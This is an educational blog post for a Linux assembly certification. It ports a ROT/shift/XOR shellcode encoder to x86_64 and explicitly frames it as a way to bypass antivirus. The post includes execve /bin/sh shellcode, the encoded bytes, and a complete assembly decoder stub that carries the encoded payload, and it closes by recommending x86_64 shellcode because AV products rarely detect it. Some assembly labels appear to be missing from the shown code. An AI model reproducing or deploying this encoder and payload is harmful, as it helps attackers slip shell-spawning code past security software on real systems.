[ Rot~n + Shift~n + Xor~n ] Shellcode Encoder ~ Linux X86_64

2 minute read


Encoding schemes are used to transform data in a way that makes it consumable by different systems in a safe manner. In this post we’ll look at how we can bypass AVs by ab(using) this scheme to encode otherwise detectable shellcode.


We will be porting an x86 encoder I made a while back to make it work x86_64 architecture. Please refer to my SLAE32 blog series for more details on the encoder itself. I’ve also made a quick execve() shellcode to test with.

section .text

global _start

 	push rax
	push rdx
	pop rsi
	mov rbx,'/bin//sh'
	push rbx
	push rsp
	pop rdi
	mov al, 59

Will reuse the x86 encoder script developed during the SLAE32 blog series, all we need is feed it our newly created /bin/sh shellcode and generate an encoded version of it.

➜  A4 ./Encoder.py 13 1 1337
Original Shellcode: 0x50, 0x99, 0x52, 0x5e, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x53, 0x54, 0x5f, 0xb0, 0x3b, 0x0f, 0x05, 
Encoded Shellcode : 0x583, 0x475, 0x587, 0x5ef, 0x593, 0x4a9, 0x541, 0x5e7, 0x5d5, 0x5cf, 0x541, 0x541, 0x439, 0x5d3, 0x5f9, 0x5fb, 0x5e1, 0x443, 0x5a9, 0x501, 0x51d, 0x539
➜  A4 

Here’s Decoder.asm ported to x86_64 including previously generated encoded shellcode.

global _start

section .text

    ; [ROT-N + SHL-N + XOR-N] encoded execve() code block
    jmp short call_decoder       ; jump to call_decoder to save encoded_shellcode pointer to RSI

    pop rsi                      ; store encoded_shellcode pointer in RSI
    push rsi   		             ; push encoded_shellcode pointer to stack for later execution
    mov rdi, rsi                 ; move encoded_shellcode pointer to RDI

    ; note: 1) Make sure ROT, SHR, and XOR here match your encoder.py input.
    ;       2) Hence we're limited by the size of encoded_shellcode (word),
    ;          SHR is limited to <1-8> bits. Feel free to upgrade size to DW 
    ;          to allow up to 16-bits shift if need be.
    mov ax, [rsi]                ; move current word from encoded_shellcode to AX
    xor ax, 0x539                ; XOR encoded_shellcode with 1337, one word at a time  
    jz decoded_shellcode         ; if zero jump to decoded_shellcode
    shr ax, 1                    ; shift encoded_shellcode to right by one bit, one word at a time	
    sub ax, 13                   ; substract 13 from encoded_shellcode, one word at a time
    mov [rdi], al                ; move decoded byte to RDI	
    inc rsi                      ; point to the next encoded_shellcode word
    inc rsi
    inc rdi                      ; point to the next decoded_shellcode byte
    jmp short decode             ; jump to decode and repeat the decoding process for the next word!

    call [rsp]                   ; execute decoded_shellcode

    call decoder
    encoded_shellcode: dw 0x583, 0x475, 0x587, 0x5ef, 0x593, 0x4a9, 0x541, 0x5e7, 0x5d5, 0x5cf, 0x541, 0x541, 0x439, 0x5d3, 0x5f9, 0x5fb, 0x5e1, 0x443, 0x5a9, 0x501, 0x51d, 0x539

Let’s run it.

Out of curiosity, I decided to compare my x86 encoded shellcode VT results (taken at the time the original x86 encoder was created) with x86_64 one and I found the results quite interesting.

x86 VT Results

x86_64 VT Results

Closing Thoughts

The VT results clearly shows that AV vendors don’t care much for x86_64 shellcode at this point in time which is another good reason why we should use it more. All of the above code are available on my github. Feel free to contact me for questions via Twitter @ihack4falafel.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:


Student ID: SLAE64–1579